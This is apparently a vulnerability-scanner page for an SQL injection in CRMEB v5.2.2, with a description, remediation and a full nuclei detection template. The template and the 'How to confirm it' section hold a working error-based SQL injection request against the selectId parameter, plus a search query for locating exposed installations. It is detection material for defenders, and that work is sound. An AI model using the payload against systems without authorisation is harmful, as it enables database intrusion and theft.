CRMEB v.5.2.2 - SQL Injection

highseverity

8.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.

Impact

Attackers can execute SQL injection via the selectId parameter in getProductList to obtain sensitive database information.

Fix

Update CRMEB to a version later than 5.2.2 that patches the SQL injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5({{num}})))),0x7e),3550)
Positive when: contains "{{md5(num)}}" and "SQLSTATE" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-36837 -u <target>

The full check

id: CVE-2024-36837

info:
  name: CRMEB v.5.2.2 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.
  impact: |
    Attackers can execute SQL injection via the selectId parameter in getProductList to obtain sensitive database information.
  remediation: |
    Update CRMEB to a version later than 5.2.2 that patches the SQL injection vulnerability.
  reference:
    - https://github.com/phtcloud-dev/CVE-2024-36837
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36837
  classification:
    epss-score: 0.08306
    epss-percentile: 0.94974
    cpe: cpe:2.3:a:crmeb:crmeb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: crmeb
    product: crmeb
    fofa-query: title="CRMEB"
  tags: cve,cve2024,crmeb,sqli,vuln
variables:
  num: "{{rand_int(9000000, 9999999)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5({{num}})))),0x7e),3550)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
          - "SQLSTATE"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from